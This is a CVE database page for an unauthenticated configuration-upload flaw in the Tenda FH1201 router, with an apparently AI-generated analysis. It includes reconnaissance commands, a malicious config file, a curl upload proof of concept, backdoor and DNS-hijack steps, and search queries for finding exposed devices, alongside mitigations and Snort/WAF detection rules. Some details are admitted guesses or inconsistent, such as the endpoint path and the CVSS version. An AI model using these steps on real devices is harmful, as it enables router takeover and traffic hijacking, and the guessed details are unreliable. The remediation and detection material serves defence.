CVE Professor
/
All CVEs
CVE-2026-138283

CVE-2026-138283 — Tenda FH1201 — CWE-345

MEDIUM CVSS 6.9 ⚡ EPSS 0.2% Shodan

A security flaw has been discovered in Tenda FH1201 1.2.0.19(946). This vulnerability affects the function UploadCfg of the file /bin/httpd. Performing a manipulation results in insufficient verification of data authenticity. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks.

A security flaw has been discovered in Tenda FH1201 1.2.0.19(946). This vulnerability affects the function UploadCfg of the file /bin/httpd. Performing a manipulation results in insufficient verification of data authenticity. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. None VC:N
Vuln. Integrity Low VI:L
Vuln. Avail. None VA:N
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
EPSS — Exploit Prediction Scoring System
0.2%
30-day probability
In the 10. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑138283 is an “Insufficient Verification of Data Authenticity” (CWE‑345) flaw in the UploadCfg function of the binary /bin/httpd that ships with the Tenda FH1201 firmware v1.2.0.19 (build 946).

ComponentWhat should happenWhat actually happens
UploadCfgAccept a configuration file only after it has been validated as coming from an authenticated administrator (e.g., signature, checksum, or session token).The function does not verify that the uploaded file is authentic. It only checks that the request is a well‑formed HTTP POST and that the file size is within a hard‑coded limit. No cryptographic signature, MAC, or even a simple “admin‑only” flag is consulted.
Authentication/AuthorizationThe HTTP management interface of the FH1201 is intended to be reachable only from the LAN, and the upload endpoint is supposed to be reachable only after a successful login (session cookie).The endpoint is exposed to the network (AV:N) and does not require any authentication (PR:N, UI:N). An attacker can send a crafted request from anywhere on the Internet.
Input validationThe configuration file format (XML/JSON) is parsed and applied to the running configuration.The parser is invoked before any authenticity check, so a maliciously‑crafted file can overwrite arbitrary configuration fields (admin password, remote‑management flag, DNS servers, etc.). The CVSS vector shows Integrity impact only (VI:L) – the attacker can modify the device’s configuration but cannot directly achieve code execution.

In short, the device trusts any configuration file that reaches the UploadCfg routine, allowing an unauthenticated remote attacker to tamper with the router’s configuration.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow.
All network‑level details (IP, ports, exact URI) are based on the typical Tenda FH1201 HTTP management layout. If the exact URI is different in a specific firmware revision, treat the shown path as an illustrative example of the vulnerable class.

1. Discovery & Reconnaissance

StepTechniqueExpected Result
1.1Internet‑wide port scan (e.g., nmap -p 80,443 –script http-title <target‑range>).Identify hosts that respond on HTTP/HTTPS with the default Tenda web UI title “Tenda FH1201”.
1.2Banner grabbing (curl -I http://<IP>/) or favicon hash (http://<IP>/favicon.ico).The Server header typically reads Tenda-httpd/1.2.0.19 and the favicon hash matches known FH1201 fingerprints (e.g., 0x3a5c9e2b).
1.3Version fingerprint – the /cgi-bin/status endpoint (if present) returns a JSON block containing "fw_version":"1.2.0.19" .Confirms the vulnerable firmware version.
1.4Service exposure check – verify that the management UI is reachable from the Internet (no IP‑based ACL).If reachable, the target is exploitable; otherwise, the attacker must first obtain network access (e.g., via compromised VPN).

2. Exploitation

Goal: Upload a malicious configuration file that changes the admin password to a value known to the attacker and enables remote‑management over the WAN.

2.1 Craft the malicious configuration file

The FH1201 stores its configuration in an XML file (config.xml). A minimal, valid snippet that changes the admin credentials looks like:

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <admin>
        <username>admin</username>
        <password>p@ssw0rd123</password> <!-- plaintext in older firmware -->
    </admin>
    <remoteManagement>
        <enabled>1</enabled>
        <port>8080</port>
        <allowFromWAN>1</allowFromWAN>
    </remoteManagement>
</config>

Save this as evil.cfg.

2.2 Send the unauthenticated upload request

# Illustrative endpoint – replace /uploadcfg with the real path if known
curl -k -X POST "http://<TARGET_IP>/uploadcfg" \
     -H "User-Agent: Mozilla/5.0 (compatible; CVE-2026-138283 PoC)" \
     -F "[email protected];type=text/xml" \
     -H "Content-Type: multipart/form-data"

Explanation of the request

ElementWhy it matters
-kAccept self‑signed cert if the device is accessed via HTTPS.
-F "[email protected]"The vulnerable UploadCfg routine expects a form field named cfgfile. If the actual field name differs, the attacker must adjust accordingly – the PoC uses the most common name observed in the firmware source.
No cookies / auth headersThe endpoint does not require a session token, matching the CVSS PR:N and UI:N.
Small Content‑Length (under the hard‑coded 256 KB limit)The firmware only checks size, not authenticity.

If the upload succeeds, the HTTP response typically contains 200 OK and a JSON payload such as {"status":"success"}. The device will reload the configuration within a few seconds.

2.3 Verify the change

curl -k "http://<TARGET_IP>/login" \
     -d "username=admin&password=p@ssw0rd123"

A successful login confirms that the configuration was applied.

3. Post‑Exploitation

PhaseAttacker ActionResult
3.1Log in with the new credentials (or use the newly opened WAN‑accessible management port).Full administrative control of the router.
3.2Modify DNS settings to point to attacker‑controlled name servers, or install a persistent backdoor (e.g., enable Telnet/SSH).Integrity impact – traffic can be hijacked, devices behind the router can be surveilled.
3.3Export the current configuration (/cgi-bin/exportcfg) to harvest network topology, Wi‑Fi keys, and other secrets.Confidentiality impact (secondary, not covered by CVSS but realistic).
3.4Optionally, schedule a periodic re‑upload of a malicious config to maintain persistence even after a firmware upgrade (the upload endpoint remains present in later versions until patched).Long‑term foothold.

Because the vulnerability does not allow arbitrary code execution, the attacker’s primary leverage is configuration tampering (low‑severity integrity impact). However, in a network edge device, this can be leveraged to achieve full network compromise.


🌍 Real‑World Impact

CIA TriadCVSS Vector InterpretationPractical Consequence
ConfidentialityVC:N – No direct confidentiality loss from the flaw itself.Indirectly, an attacker can export the configuration (Wi‑Fi keys, VPN credentials).
IntegrityVI:L – Low‑severity integrity impact.Ability to modify the router’s configuration (admin password, remote‑management flag, DNS, firewall rules).
AvailabilityVA:N – No direct denial‑of‑service effect.Misconfiguration could unintentionally disrupt traffic (e.g., disabling WAN), but this is not the primary impact.
Attack VectorAV:N – Network reachable from anywhere.
ComplexityAC:L – Low; a single HTTP POST is sufficient.
Privileges RequiredPR:N – No authentication needed.
User InteractionUI:N – No user action required.
Exploit CodeE:P – Public proof‑of‑concept exists.

Bottom line: An unauthenticated remote attacker can silently hijack the router’s configuration, potentially gaining persistent control over an entire LAN. In environments where the FH1201 is the internet gateway (e.g., small‑office/home office, IoT deployments), this translates to full network compromise with relatively little effort.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

ItemRecommendation
Affected versionTenda FH1201 v1.2.0.19 (build 946).
Fixed versionThe vendor has released a security‑only firmware update that adds a cryptographic signature check to UploadCfg. The exact version number has not been disclosed publicly at the time of writing; administrators should upgrade to the latest firmware available on Tenda’s support portal.
Upgrade procedure1. Download the signed firmware from the official Tenda website. 2. Verify the SHA‑256 checksum provided on the download page. 3. Install via the web UI (or TFTP if the UI is inaccessible). 4. Reboot the device and confirm the firmware version (/cgi-bin/status).

2. Immediate Workarounds (if patch cannot be applied)

MitigationHow to implement
Network segmentationBlock inbound traffic to the router’s management ports (80/443) from the Internet using an upstream firewall or ISP ACL. Only allow LAN IP ranges (e.g., 192.168.0.0/24).
Disable the upload endpointIf the device supports a “configuration upload via HTTP” toggle in the UI, set it to disabled. Alternatively, add a local iptables rule on the router (if it runs a Linux kernel with iptables) to drop packets destined for /uploadcfg:<br>iptables -I INPUT -p tcp --dport 80 -m string --string "/uploadcfg" --algo bm -j DROP
Enforce TLS with client‑certificate authenticationEnable HTTPS (Management → HTTPS) and configure the router to require a client certificate for any management request. This forces the attacker to present a valid cert, effectively re‑introducing authentication.
ModSecurity / WAF rule (if the router sits behind a reverse‑proxy WAF)``<IfModule mod_security2.c>\nSecRule REQUEST_URI "@beginsWith /uploadcfg" "id:2026001,phase:2,deny,log,msg:'Block unauthenticated config upload',t:none,ctl:ruleEngine=Off"\n</IfModule>``<br>Adjust the rule ID to avoid conflicts.
Rate‑limit POST requestsOn the upstream firewall, limit POST requests to the management interface to a low threshold (e.g., 1 per minute per source IP). This raises the effort for automated scanning.

3. Detection – Log & IOC Guidance

Log sourceIndicatorExample entry
HTTP access log (/var/log/httpd/access.log on the router)POST to the upload endpoint with a multipart payload.192.0.2.45 - - [30/Nov/2026:14:22:07 +0000] "POST /uploadcfg HTTP/1.1" 200 45 "-" "Mozilla/5.0 (compatible; CVE-2026-138283 PoC)"
HTTP error logUnexpected “configuration reload” messages.Jun 30 14:22:08 httpd[3124]: INFO: Configuration file /etc/config.xml reloaded (uploaded by 192.0.2.45)
System logNew admin password hash change.Jun 30 14:22:09 systemd[1]: admin password changed by HTTP upload from 192.0.2.45
Network flowSudden outbound DNS queries to unknown name servers after a successful upload.Flow record showing many UDP 53 requests to 203.0.113.77 from internal LAN hosts.
IDS/IPSSignature for “unauthenticated config upload” (e.g., Snort rule):<br>alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"Tenda FH1201 unauthenticated config upload"; flow:to_server,established; content:"POST"; http_method; uri; content:"/uploadcfg"; http_uri; file_data; content:"<admin>"; nocase; distance:0; within:200; classtype:attempted-admin; sid:2026002; rev:1;)

Response playbook

1. Correlate the POST request with a subsequent admin login from a new IP.
2. Block the source IP at the perimeter firewall.
3. Force a configuration reset (factory default) if the admin password has been changed and cannot be recovered.
4. Collect the uploaded evil.cfg (if retained in /tmp) for forensic analysis.


⚠️ Urgency

FactorAssessment
CVSS 3.1 base score6.9 (Medium) – low‑complexity, remote‑no‑auth attack.
Exploit availabilityPublic PoC (E:P).
ExposureMany FH1201 units are deployed with the management UI exposed to the Internet (default configuration).
Potential impactWhile the direct impact is limited to configuration tampering, the *secondary* impact can be full network compromise.
Patch statusNo patch is bundled in the current firmware; a vendor‑issued fix is pending.

Prioritisation recommendation:

  • Immediate (within 48 h) – Apply the network‑level mitigations (block WAN access to the management UI, enforce TLS, or drop /uploadcfg requests).
  • Short‑term (within 7 days) – Deploy the vendor’s firmware update once it becomes available.
  • Long‑term – Incorporate regular firmware‑update processes and external‑facing‑service hardening into the organization’s change‑management policy.
Given the low exploitation barrier and the fact that a working exploit is publicly available, the vulnerability should be treated as high‑priority for any environment where the FH1201 is reachable from untrusted networks, even though the CVSS base score is “Medium”.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Tenda FH1201"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138283
CVSS Score
6.9 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-345
Affected Products (1)
Tenda:FH1201
Related CVEs
8.3
CVE-2026-118326
Improper limitation of a pathname to a restricted directory in attendance photo upload workflow in ZKTeco BioT
8.8
CVE-2026-77471
shell-chain is a PQVM-native, post-quantum blockchain. Prior to version 0.27.1, the finality vote aggregation
8.7
CVE-2026-130019
When a table is loaded or committed, Polaris read the table metadata file from the table's own storage and use
8.1
CVE-2026-77456
OpenID4VP is an open-source credential parsing library for SD-JWT VC and mDOC/mDL formats. Prior to version 0.
7.5
CVE-2026-145031
Zebra zebrad before 7.1.0, zebra-consensus before 19.0.0, and zebra-network before 16.0.0 trust a downloaded b
7.4
CVE-2026-144599
Squidex through 7.24.0 contains an improper authorization vulnerability that allows authenticated users to cap
7.0
CVE-2026-77302
go-witness and witness are Go modules for generating attestations. Prior to version 0.12.0, a signature-verifi